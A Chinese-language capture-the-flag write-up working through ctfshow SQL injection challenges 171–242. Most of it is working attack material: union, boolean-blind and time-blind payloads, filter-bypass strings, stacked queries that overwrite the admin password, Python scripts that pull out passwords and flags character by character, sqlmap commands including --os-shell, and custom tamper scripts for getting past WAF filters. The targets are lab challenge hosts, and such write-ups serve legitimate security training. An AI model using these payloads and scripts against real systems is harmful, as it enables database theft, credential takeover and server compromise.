https://blog.gem-love.com/ctf/2283.html注入

171

入门开始,直接union select

database:ctfshow_web
table:ctfshow_user
0' union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user --+

172

database:ctfshow_web
table:ctfshow_user2
0' union select 1,group_concat(password) from ctfshow_web.ctfshow_user2 --+

173

database:ctfshow_web
table:ctfshow_user3
0' union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user3 --+

174

返回内容中不能有数字了,试试布尔注入吧

select * from tableName limit i,n

i为索引,n为数量

随便写的垃圾脚本

import requests
url="http://5d04fd50-8b1c-40fc-9f33-520ecb876ab5.challenge.ctf.show/api/v4.php?id=1'and 1=     &page=1&limit=10"
for i in range(1,1000):
    for j in range(45,57):
        sql = f"if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))={j},1,0)"
        url=f"http://5d04fd50-8b1c-40fc-9f33-520ecb876ab5.challenge.ctf.show/api/v4.php?id=1'and 1={sql}--+&page=1&limit=10"
        tex=requests.get(url).text
        if 'admin' in tex:
            print(chr(j),end='')
    for j in range(97,125):
        sql = f"if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))={j},1,0)"
        url=f"http://5d04fd50-8b1c-40fc-9f33-520ecb876ab5.challenge.ctf.show/api/v4.php?id=1'and 1={sql}--+&page=1&limit=10"
        tex=requests.get(url).text
        if 'admin' in tex:
            print(chr(j),end='')

175

啥都没了时间盲注

import requests
url="http://a5db8e88-69c0-425f-940a-d80b5506cf35.challenge.ctf.show/api/v5.php?id=1&page=1&limit=10"
for i in range(1,1000):
    for j in range(45, 57):
        sql = f"if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))={j},sleep(2),0)"
        url = f"http://a5db8e88-69c0-425f-940a-d80b5506cf35.challenge.ctf.show/api/v5.php?id=1'and 1={sql}--+&page=1&limit=10"
        try:
            requests.get(url=url, timeout=1)
        except Exception as e:
            print(chr(j), end='')
    for j in range(97,125):
        sql = f"if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))={j},sleep(2),0)"
        url=f"http://a5db8e88-69c0-425f-940a-d80b5506cf35.challenge.ctf.show/api/v5.php?id=1'and 1={sql}--+&page=1&limit=10"
        try:
            requests.get(url=url,timeout=1)
        except Exception as e:
            print(chr(j), end='')

或者试试文件读写

1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+

176

过滤了union select,大小写绕过或万能密码1' or 1=1--+

database:ctfshow_web
table:ctfshow_user
0' unIon sElEct 1,2,group_concat(password) from ctfshow_web.ctfshow_user --+

177

过滤了空格,/**/即可,不能用+,url会被转成空格

0'/**/union/**/select/**/1,2,group_concat(password)/**/from/**/ctfshow_user%23

178

过滤了空格和*,制表符%09绕过

0'%09union%09select%091,2,group_concat(password)%09from%09ctfshow_user%23

179

%09也没了,还剩%0c

0'%0cunion%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23

180

真没招了,看看wp,通过反引号分割,绝

0'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3

还有

0'or(id=26)and'1'='1

181

select不见了,万能密码

0'%0cor%0cid='26

182

flag不见了,其实不影响上面的,但是还是可以尝试模糊匹配

0'%0cor%0cusername%0clike%0c'%fla%

183

使用正则表达式和布尔盲注

WHERE email REGEXP 'a'

意思是在email中匹配a的

写脚本咯

import requests
url = 'http://24a744c9-dd02-415a-b46b-68e87b328edd.challenge.ctf.show/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
for i in range(1,1000):
    for j in flagstr:
        data = {
            'tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"
        }
        tex = requests.post(url, data=data).text
        if "$user_count = 1;" in tex:
        	print(j,end='')

184

RIGHT JOIN 关键字会右表 (table_name2) 那里返回所有的行,即使在左表 (table_name1) 中没有匹配的行。

SELECT column_name(s)
FROM table_name1
RIGHT JOIN table_name2

我们将匹配后的表作为右表,使用正则查询即可

ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({ord(j)})))

import requests
url = 'http://cf6d0357-c567-4db6-9fab-5827e7d5e40d.challenge.ctf.show/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
for i in range(1,1000):
    for j in flagstr:
        data = {
            'tableName': f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({ord(j)})))"
        }
        tex = requests.post(url, data=data).text
        if "$user_count = 43;" in tex:
            print(j,end='')
            break

记得问on是啥意思

185

过滤了数字,用true=1相加构造数字咧

import requests
url = 'http://7cdec59f-0059-4f5d-ac07-fcac41696822.challenge.ctf.show/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
def lo(x):
    tmp="true"
    for i in range(1,x):
        tmp=tmp+"+true"
    return tmp
for i in range(1,1000):
    for j in flagstr:
        data = {
            'tableName': f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,({lo(i)}),(true))regexp(char({lo(ord(j))})))"
        }
        tex = requests.post(url, data=data).text
        if "$user_count = 43;" in tex:
            print(j,end='')
            break

186

同上,开打就完了

187

针对md5(xxx,true)的绕过:链接

只能寻找md5

所以密码输入:ffifdyop即可

进行运算得出的结果为

‘or’6�]��!r,��b

由于or后面6为真,所以语句恒为真

188

SQL比较真真离谱

字符串当作数字处理

即当mysql中字符串与数字做比较的时候,会将字符串当作数字来比较。如123bac会当作123处理。 因此我们在查询的时候即使username=0,也会返回一些以0开头的数据。

00即可

189

空格消失法,提示flag在api/flag.php中,必然要读取文件咯

尝试用户名发现只有两种回显结果,一种是查询失败,一种是密码错误

布尔盲注走起

import requests
url = 'http://36ec0642-dfd4-460f-951d-afbf1887db2c.challenge.ctf.show/api/index.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
flag=''
for i in range(1,1000):
	for j in flagstr:
		tmp=flag+j
		data = {'username': f'if(load_file("/var/www/html/api/index.php")regexp(\'{tmp}\'),0,1)#','password': '1',}
		tex = requests.post(url=url, data=data)
		if "密码错误" in tex.json()['msg']:
			print(j,end='')
			flag=flag+j
			break

190

进行一个布尔的盲注

import requests
url = 'http://f808d3c6-5e32-4c6c-a217-16eb4cd1c842.challenge.ctf.show/api/'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
flag=''
for i in range(1,1000):
	for j in flagstr:
		tmp=flag+j
		data = {'username': f"admin' and ((substr((select f1ag from ctfshow_fl0g),{i},1))='{j}')#",'password': '1',}
		tex = requests.post(url=url, data=data)
		if "密码错误" in tex.json()['msg']:
			print(j,end='')
			flag=flag+j
			break

191

过滤了file|into|ascii上个脚本还能用

192

过滤了file|into|ascii|ord|hex继续用

193

过滤了file|into|ascii|ord|hex|substr问题不大,换left

database:ctfshow_web
table:ctfshow_flxg
column:f1ag
import requests
url = 'http://dc60958a-3c76-4425-acf9-cef85100c566.challenge.ctf.show/api/'
flagstr = r",{flqazwsxedcrvtgbyhnujmikolp-0123456789}_"
flag=''
for i in range(1,1000):
	for j in flagstr:
		tmp=flag+j
		data = {'username': f"admin' and (left((select f1ag from ctfshow_flxg),{i})='{tmp}')#",'password': '1',}
		tex = requests.post(url=url, data=data)
		if "用户名不存在" not in tex.json()['msg']:
			print(j,end='')
			flag=flag+j
			break

194

我谢谢你啊left和right都没了

过滤了file|into|ascii|ord|hex|substr|char|left|right|substring,用like或者正则(其实用mid也行)

database:ctfshow_web
table:ctfshow_flxg
column:f1ag
import requests
url = 'http://a0589fee-511c-495e-b8c9-319e9f5cc086.challenge.ctf.show/api/'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}_,"
flag=''
for i in range(1,1000):
	for j in flagstr:
		tmp=flag+j
		data = {'username': f"admin' and if(((select group_concat(f1ag) from ctfshow_flxg)regexp('{tmp}')),1,0)#",'password': '1',}
		tex = requests.post(url=url, data=data)
		if "用户名不存在" not in tex.json()['msg']:
			print(j,end='')
			flag=flag+j
			break

195

堆叠改密码咯,查询语句中的username没有用引号包裹,所以查询的时候用十六进制转字符串

1;update`ctfshow_user`set`pass`=0x313131;
1
0x61646d696e
111

196

😅

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-10 11.29.32.png)

197,198

一个wp脚本

# @Author:Y4tacker
import requests

url = "http://b126bc7c-2b32-461d-9520-30d5baf7a152.chall.ctf.show/api/"
for i in range(100):
    if i == 0:
        data = {
            'username': '0;alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user '
                        'change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` '
                        'varchar(255);',
            'password': f'{i}'
        }
        r = requests.post(url, data=data)
    data = {
        'username': '0x61646d696e',
        'password': f'{i}'
    }
    r = requests.post(url, data=data)
    if "登陆成功" in r.json()['msg']:
        print(r.json()['msg'])
        break

我选离谱方法:

# @Author:Y4tacker
# username=0;show tables;
# pass=ctfshow_user

199,200

只有离谱方法能用了

201

sqlmap使用开始

//查库
sqlmap -u "http://212b52c9-db7a-4a4b-9b07-d23bb1989fc5.challenge.ctf.show/api/?id=1" --referer="ctf.show" --dbs
//查表
sqlmap -u "http://212b52c9-db7a-4a4b-9b07-d23bb1989fc5.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web --tables
//查字段 
sqlmap -u "http://212b52c9-db7a-4a4b-9b07-d23bb1989fc5.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
//查值
sqlmap -u "http://212b52c9-db7a-4a4b-9b07-d23bb1989fc5.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump

202

使用POST请求,添加–data参数来设置

sqlmap -u http://84e4c090-49b9-47dd-a749-2b144bba6ff5.challenge.ctf.show/api/ --data="id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump

203

调整请求方式,此处调整为PUT请求,记得加上Content-Type不然会变表单提交

sqlmap -u http://86418dcd-b385-474c-b132-554a8ee6a95d.challenge.ctf.show/api/index.php --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump

204

加上cookie,用–cookie

sqlmap -u http://024304b8-be6a-48da-bc31-a8fcb796f2e8.challenge.ctf.show/api/index.php --cookie="UM_distinctid=17ff4d2091576a-09cf5f45e352f9-113f645d-384000-17ff4d209161689; PHPSESSID=honuvgjau5711m3j9tn84hloip; ctfshow=2e0d6ee1573392a73c0cca1476342faa" --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump

205

提示api鉴权,发现请求前会先对一个url进行调用

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-10 21.53.17.png)

使用如下两个参数

--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数

最终命令悄悄换表名和列名真的可恶

sqlmap -u http://685993ca-1d7f-4372-b50e-2bfc278ae33e.challenge.ctf.show/api/index.php --safe-url="http://685993ca-1d7f-4372-b50e-2bfc278ae33e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxc -C flagv --dump

206

提示SQL需要闭合,当我sqlmap傻是吧,同上即可

207

–tamper 的初体验

tamper总结

使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击,–tamper=TAMPER 利用给定的脚本进行篡改注入数据,该题过滤了空格,使用自带的space2comment.py即可绕过

sqlmap -u http://894488fd-6cfa-4392-aefa-61f64467a37c.challenge.ctf.show/api/index.php --safe-url="http://894488fd-6cfa-4392-aefa-61f64467a37c.challenge.ctf.show/api/getToken.php" --safe-freq=1 --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --tamper="space2comment.py"

208

过滤了小写的select,但是sqlmap中所有SELECT都是大写,同上即可

sqlmap -u http://d6087ca0-43f5-417e-8fe2-b620a9fda955.challenge.ctf.show/api/index.php --safe-url="http://d6087ca0-43f5-417e-8fe2-b620a9fda955.challenge.ctf.show/api/getToken.php" --safe-freq=1 --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump --tamper="space2comment.py"

209

过滤了空格,*和=,讲道理使用bluecoat.py就行,但是出不来,只能自己编写脚本替换了,将空格用%09替换,=用LIKE替换

sqlmap -u http://477c2806-7230-462f-adac-0213ba40f10f.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://477c2806-7230-462f-adac-0213ba40f10f.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx,id,tes --dump --batch --tamper web209.py
#web209.py
#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x9)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '=':
                retVal += chr(0x9) + 'like' + chr(0x9)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x9)
                continue

            retVal += payload[i]

    return retVal

210

对字符串进行base64解码反转再解码,那就编码反转再编码

sqlmap -u http://557cc437-11cc-423f-908a-43fd7aa8b33e.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://557cc437-11cc-423f-908a-43fd7aa8b33e.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump --batch --tamper web210.py
#web210.py
#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):


    retVal = payload

    if payload:
        retVal=retVal.encode()
        retVal=retVal[::-1]
        retVal=base64.b64encode(retVal)
        retVal=retVal[::-1]
        retVal=base64.b64encode(retVal)
    return retVal.decode()

211

相比于上题多过滤了空格,加上space2commit脚本即可

sqlmap -u http://5202066d-7531-4be8-8cff-4ae5052a88a4.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://5202066d-7531-4be8-8cff-4ae5052a88a4.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --dump --batch --tamper="space2commit.py,web210.py"

212

前两个加起来

sqlmap -u http://fea29546-5555-4d19-a7fa-63d86e7eb6b8.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://fea29546-5555-4d19-a7fa-63d86e7eb6b8.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --dump --batch --tamper="web209.py,web210.py"

213

一键getshell,–os-shell

sqlmap -u http://18f74fd7-e863-4171-a825-d896a079c1f3.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://18f74fd7-e863-4171-a825-d896a079c1f3.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --os-shell --dump --batch --tamper="web209.py,web210.py"

214

时间盲注开始

首页发现网络流量中有select.js,查看代码


layui.use('element', function(){
  var element = layui.element;
  element.on('tab(nav)', function(data){
    console.log(data);
  });
});

$.ajax({
      url:'api/',
      dataType:"json",
      type:'post',
      data:{
        ip:returnCitySN["cip"],
        debug:0
      }

    });

发现提交的表单中有两个变量,测试一下

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-12 14.27.34.png)

测试成功,开始编写代码

import requests

url="http://7a5edb92-03ea-49ff-bd27-30b753229c99.challenge.ctf.show/api/"
flagchar="-{},qwertyuiopasdfghjklzxcvbnm_1234567890"

for i in range(1,1000):
	for j in flagchar:
		data = {
			#'ip': f'1 or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagx"),{i},1))="{j}",sleep(3),1)',
			'ip': f'1 or if((substr((select group_concat(flaga) from ctfshow_flagx),{i},1))="{j}",sleep(3),1)',
			'debug': '1'
		}
		try:
			requests.post(url=url,data=data,timeout=2.5)
		except:
			print(j,end='')
			break

215

单引号闭合

import requests

url="http://59e08013-c379-4607-a6bf-c11d5c4d6d6e.challenge.ctf.show/api/"
flagchar="-{},flagqwertyuiopsdhjkzxcvbnm_1234567890"

for i in range(1,1000):
	for j in flagchar:
		data = {
			#'ip': f'1\' or if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))="{j}",sleep(3),1)#',
			#'ip': f'1\' or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagxc"),{i},1))="{j}",sleep(3),1)#',
			'ip': f'1\' or if((substr((select group_concat(flagaa) from ctfshow_flagx),{i},1))="{j}",sleep(3),1)#',
			'debug': '1'
		}
		try:
			requests.post(url=url,data=data,timeout=2.5)
		except:
			print(j,end='')
			break

216

base64编码

import requests

url="http://fe2f1a17-e483-4137-b85d-9fa3a6daaa18.challenge.ctf.show/api/"
flagchar="-{},ctfshowlagbde1234567890"
namechar=",ctfshow_qwertyuiopasdfghjklzxcvbnm"
for i in range(1,1000):
	for j in flagchar:
		data = {
			#'ip': f'"MQ==") or if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))="{j}",sleep(2),1)#',
			#'ip': f'"MQ==") or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagxcc"),{i},1))="{j}",sleep(2),1)#',
			'ip': f'"MQ==") or if((substr((select group_concat(flagaac) from ctfshow_flagxcc),{i},1))="{j}",sleep(2),1)#',
			'debug': '1'
		}
		try:
			requests.post(url=url,data=data,timeout=1.5)
		except:
			print(j,end='')
			break

217

sleep不能用了啦,都ctfshow害得啦,拜托,换benchmark

import requests

url = "http://e7d85700-c8a1-48c2-bea8-4ead2e0976b4.challenge.ctf.show/api/"
flagchar = "-{},ctfshowlagbde1234567890"
namechar = ",ctfshow_qwertyuiopasdfghjklzxcvbnm"
for i in range(1, 1000):
    for j in flagchar:
        data = {
            #'ip': f'1) or if(((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))=\'{j}\'),(benchmark(20000000,sha(1))),1)#',
            #'ip': f'1) or if(((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagxccb"),{i},1))=\'{j}\'),(benchmark(20000000,sha(1))),1)#',
            'ip': f'1) or if(((substr((select group_concat(flagaabc) from ctfshow_flagxccb),{i},1))=\'{j}\'),(benchmark(20000000,sha(1))),1)#',
            'debug': '1'
        }
        try:
            requests.post(url=url, data=data, timeout=4)
        except:
            print(j, end='')
            break

218

benchmark也🈚️了,换笛卡尔积

import requests

url = "http://de5b41b6-9f89-4e0a-b913-7c33a143979a.challenge.ctf.show/api/"
flagchar = "-{},abcdef1234567890"
namechar = ",ctfshow_qwertyuiopasdfghjklzxcvbnm"
for k in range(10):
    print()
    for i in range(1, 50):
        for j in flagchar:
            data = {
                #'ip': f'1) or if(((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))=\'{j}\'),(SELECT count(*) FROM information_schema.columns A,information_schema.columns B),1)#',
                #'ip': f'1) or if(((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagxc"),{i},1))=\'{j}\'),(benchmark(20000000,sha(1))),1)#',
                'ip': f'1) or if(((substr((select group_concat(flagaac) from ctfshow_flagxc),{i},1))=\'{j}\'),(SELECT count(*) FROM information_schema.tables A,information_schema.tables B,information_schema.columns C),1)#',
                'debug': '1'
            }
            try:
                requests.post(url=url, data=data, timeout=4)
            except:
                print(j,end="")
                break

219

过滤了rlike,笛卡尔积依然可用,同上即可

220

sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr

真能滤,换left

import requests

url = "http://ee633dfd-4a05-4685-bbf6-1da4b5fc4d1d.challenge.ctf.show/api/"
flagchar = "ctfshow-{},abde1234567890"
namechar = "flag,ctfshow_qwertyuiopasdfghjklzxcvbnm"
flag=""
for k in range(10):
    print()
    flag = ""
    for i in range(1, 50):
        for j in flagchar:
            tmp=flag+j
            data = {
                'ip': f'1) or if((left((select flagaabcc from ctfshow_flagxcac),{i})=\'{tmp}\'),(SELECT count(*) FROM information_schema.tables A,information_schema.tables B,information_schema.columns C),1)#',
                'debug': '1'
            }
            try:
                requests.post(url=url, data=data, timeout=4)
            except:
                flag=tmp
                print(j,end="")
                break

时间盲注,结束

221

limit注入,欢迎收看P神博客

报错注入

SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

222

Group_by后面的参数来进行布尔注入

import requests
url="http://debba94a-3e3c-4b9e-97e0-27c6e7381dde.challenge.ctf.show/api/?u="
ca="ctfshow{1234567890-abcdef}"
for i in range(1,100):
    for j in ca:
        payload=f'if(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1)="{j}","username",cot(0))'
        tex=requests.get(url+payload).text
        if "username" in tex:
            print(j,end="")
            break;

223

过滤了数字,贴个大佬脚本

# @Author:Kradress
import requests
import string

url = "http://7702b56c-35d9-4b80-abdc-bb0956f4bce5.challenge.ctf.show/api/"

result = ''
dict=string.ascii_lowercase+string.digits+"_-,}{"

# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#爆字段值
payload = "select flagasabc from ctfshow_flagas"

def numToStr(str):
    parts = []
    for s in str:
        parts.append(numToStr2(s))
    res = ','.join(parts)
    return f"concat({res})"

def numToStr2(num):
    parts = []
    n = ord(num)
    for i in range(n):
        parts.append("true")
    res = "+".join(parts)
    return f"char({res})"

for i in range(1,46):
    print(i)
    for j in dict:
        params={
            'u' : f"concat(if(substr(({payload}),{numToStr(str(i))},true)={numToStr(j)},username,cot(false)))#"
        }
        r = requests.get(url, params=params)
        # print(r.url)
        if("ctfshow" in r.text):
            result +=j
            print(result)
            break

224

通过文件信息的注入,这里有颖师傅的博客

但是发现这个file()方法可以检测图片的EXIF信息,而EXIF信息中有一个comment字段,相当于图片注释,而finfo->file()正好能够输出这个信息,如果上面的假设成立,这就可以造成SQL注入

再到别的师傅那里去拿一个源码

<?php
	error_reporting(0);
	if ($_FILES["file"]["error"] > 0)
	{
		die("Return Code: " . $_FILES["file"]["error"] . "<br />");
	}
	if($_FILES["file"]["size"]>10*1024){
		die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
	}
    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
	  $filename = md5(md5(rand(1,10000))).".zip";
      $filetype = (new finfo)->file($_FILES['file']['tmp_name']);
      if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){
        die("file type error");
      }
	  $filepath = "upload/".$filename;
	  $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $filename);
	  $con = mysqli_connect("localhost","root","root","ctf");
		if (!$con)
		{
			die('Could not connect: ' . mysqli_error());
		}
		if (mysqli_multi_query($con, $sql)) {
			header("location:filelist.php");
		} else {
			echo "Error: " . $sql . "<br>" . mysqli_error($con);
		}
		 
		mysqli_close($con);
		
      }
    
?>

看到filetype变量确实通过finfo取了内容,我们本地跑一下

确实输出了部分的文件信息,看群里给的payload,使用的是bin文件,构造的文件部分内容被输出

上传拿shell即可

后记:似乎这里拿到的是file命令获取的内容

225

堆叠:

prepare a from 0x十六进制语句;execute a;

226

同上

227

没查出来东西,看WP,通过查询information_schema.routines查看存储过程和函数

存储过程(Stored Procedure)是一种在数据库中存储复杂程序,以便外部程序调用的一种数据库对象。
存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过指定存储过程的名字并给定参数(需要时)来调用执行。
存储过程思想上很简单,就是数据库 SQL 语言层面的代码封装与重用。

就是存了已经定义好的函数,可以看到getFlag函数,也能看到flag,调用的话使用call getFlag就好

228,229,230

都是上面的

231

update开始,第一道题直接连着username一起改

password=0',username=(select group_concat(flagas) from flaga where table_schema=database())%23&username=1

232

md5问题不大,多裹个括号就行

password=0'),username=(select group_concat(flagass) from flagaa)%23&username=1

233

似乎单引号消失了,转义然后和后面username的闭合就行

password=\&username=,username=(select group_concat(flagass233) from flag233333)%23

234

单双一起,同上

password=\&username=,username=(select group_concat(flagass23s3) from flag23a)%23

235

无列名注入,看这里

password=\&username=,username=(select group_concat(`2`) from (select 1,2,3 union select * from flag23a1) as a)%23

236

多滤了个flag,没卵用

password=\&username=,username=(select group_concat(`2`)  from (select 1,2,3 union select * from flaga) as a)%23

237

进入insert环节,闭合,拿数据,插入

username=1',(select group_concat(flagass23s3) from flag))%23&password=1

238

没有空格用括号

username=1',(select(group_concat(flag))from(flagb)))%23&password=1

239

又一个无列名,注不进去,也不知道哪里出问题了

240

有表名那不狠狠的爆破?

import requests
import itertools
import time
url="http://6be0cd82-3931-4919-a3e1-bfdcd72e685a.challenge.ctf.show/api/insert.php"
s='ab'
a=map(''.join, itertools.product('ab', repeat=5))
for i in a:
    table='flag'+i;
    data={'username':f"1',(select(flag)from({table})))#",'password':'1'}
    requests.post(url,data=data)
    time.sleep(0.1)

241

开始删东西了,就20条,用时间盲注吧,脚本from yu师傅

# @Author:yu22x
import requests
import time
import urllib.parse
url = "http://b37e7121-22c6-4917-bfa5-ddc38a0ed78f.challenge.ctf.show/api/delete.php"
s='0123456789abcdef-'
flag='ctfshow{'

for i in range(9,46):
		print(i)
		for j in s:
			data={'id':f'0||if(substr((select flag from flag),{i},1)="{j}",sleep(1),0)'}
			#print(data)
			try:
				requests.post(url,data=data,timeout=1)
			except:
				flag+=j  
				print(flag)
				break
			time.sleep(1)

242

进行一个文件的dump